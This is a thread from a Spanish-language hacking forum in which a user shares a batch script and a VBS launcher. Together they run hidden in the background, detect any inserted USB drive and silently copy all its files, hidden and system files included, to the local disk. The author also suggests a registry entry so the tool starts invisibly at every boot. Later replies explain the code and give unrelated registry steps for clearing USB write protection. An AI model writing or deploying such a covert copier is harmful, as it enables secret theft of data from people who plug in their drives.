Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: qtimxta888 en 13 Julio 2014, 00:48 am



Título: Copia automaticamente el contenido de cualquier memoria externa
Publicado por: qtimxta888 en 13 Julio 2014, 00:48 am
Buenas tardes comunidad,

Soy nuevo en el foro y me gustaria compartir mis conocimientos con ustedes


He creado un Script en batch hace unas horas, su funcionalidad es la de copiar todo el contenido de una memoria externa (Removable Disk) a nuestra unidad C: en las respectiva carpeta con nombre del numero de serie de la memoria

Son dos Archivos

El primero es el Script en si, es bastante funcional y no he encontrado errores al testearlo

Los archivos los ejecuto desde el disco local C:, pero se pueden cambiar los valores para ejecutarlos de cualquier directorio

Vol.bat
Código:
@echo off
:Script
set a=0
set __LogicalDisk.VolumeSerialNumber="Nul"
for /f "tokens=*" %%x in ('wmic logicaldisk Where "Description='Removable Disk'" Get /Format:list ^| FINDSTR /R /C:"=."') do (
SET __LogicalDisk.%%x
)
set b=%__LogicalDisk.VolumeSerialNumber%
if %b% NEQ "Nul" (
:loop
if exist c:\%__LogicalDisk.VolumeSerialNumber%%a% (
set/a a=%a% + 1
GOTO loop
)
xcopy /e/i/h/j/y %__LogicalDisk.Caption%  c:\%__LogicalDisk.VolumeSerialNumber%%a%

)
Timeout /t 2 /nobreak >nul
GOTO Script

El segundo archivo es el lanzador, para que la consola no sea visible, el Script para lanzarlo esta desarrollado en VBS

Start.vbs
Código:
Set WshShell = CreateObject("WScript.Shell") 
WshShell.Run chr(34) & "C:\vol.bat" & Chr(34), 0
Set WshShell = Nothing



La ejecucion del script se mantiene permanente, si ocurre algun error como retirar la memoria, el proceso de copiado se detiene pero el programa sigue corriendo, es decir sigue a la espera de nuevos dispositivos conectados para copiar

Si la memoria ya habia sido copiada previamente, se crea un directorio con el mismo nombre pero sumandole un numero, es decir si la carpeta se llama 12340, la siguiente carpeta seria 12341, esto es valioso debido a que si se hizo algun cambio en la memoria nuestra copia anterior no se ve afectada

Es capaz de copiar archivos ocultos y archivos de sistema.

Ya me imagino que estan pensando, y si hago que el archivo se ejecute siempre al iniciar el sistema?, claro, simplemente se configura el registro de windows y taran! tenemos nuestro archivo oculto, e iniciandose siempre con el sistema

Tambien se han de preguntar, no me hara lento mi SO? pues hice pruebas de rendimiento, y no hubo variacion cuando se ejecuta y cuando no con respecto al CPU.




Cualquier duda o aportacion dejenmela saber :)


Título: Re: Copia automaticamente el contenido de cualquier memoria externa
Publicado por: asdexiva en 13 Julio 2014, 03:05 am
me podrias explicar para que sirve esta parte
Código:
set __LogicalDisk.VolumeSerialNumber="Nul"
for /f "tokens=*" %%x in ('wmic logicaldisk Where "Description='Removable Disk'" Get /Format:list ^| FINDSTR /R /C:"=."') do (
SET __LogicalDisk.%%x

vi esto y me asuste
Código:
Format:list
jajaja


Título: Re: Copia automaticamente el contenido de cualquier memoria externa
Publicado por: qtimxta888 en 14 Julio 2014, 06:12 am
me podrias explicar para que sirve esta parte
Código:
set __LogicalDisk.VolumeSerialNumber="Nul"
for /f "tokens=*" %%x in ('wmic logicaldisk Where "Description='Removable Disk'" Get /Format:list ^| FINDSTR /R /C:"=."') do (
SET __LogicalDisk.%%x

vi esto y me asuste
Código:
Format:list
jajaja

jajaja listo
format:list sirve para generar el resultado en formato de lista, la primera linea se le asigna un valor nulo a la variable para que no existan errores de asignacion en el lazo de repeticion

la segunda linea es un lazo de repeticion for, le pide por asi decirlo "al sistema" que le devuelva el detalle de todos los discos que especifica la condicion Where, entonces en cada ejecucion devuelve los discos extraibles que tiene el sistema.

la tercera linea, asigna el valor a la variable __LogicalDisk. lo que obtuvo el for,
__LogicalDisk. es solo una variable, se la puede cambiar por cualquier otra pero con los subguiones precedentes
por ejemplo

__LogicalDisk.Caption=E:
o puede ser tambien
__MiDiscoExterno.Caption=E:


Aclaro, este codigo no afecta ningun archivo almacenado, solo copia.

 :D :D :D :D


Título: Re: Copia automaticamente el contenido de cualquier memoria externa
Publicado por: MONOhack en 25 Julio 2014, 23:06 pm
buem programador..


Título: quitar proteccion contraescritura de pendrive
Publicado por: mix2014 en 9 Agosto 2014, 20:36 pm
como hago para quitar la proteccion contra escritura de un pendrive?????? :huh: :huh: :huh:


Título: Re: quitar proteccion contraescritura de pendrive
Publicado por: Eleкtro en 9 Agosto 2014, 21:17 pm
como hago para quitar la proteccion contra escritura de un pendrive?????? :huh: :huh: :huh:

No es correcto invadir el post de otra persona para hacer una pregunta irrelevante al tema, si tienes dudas debes crear tu post.

Cita de: http://lmgtfy.com/?q=pendrive+remove+write+protection
To remove write protection:

    Open Start Menu >> Run, type regedit and press Enter. This will open the registry editor.
    Navigate to the following path:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies

    Double click the key WriteProtect in the right pane and set the value to 0
    In the Data Value Box, press OK
    Exit Registry, restart your computer and then re-connect your USB pen drive to your computer.

Saludos.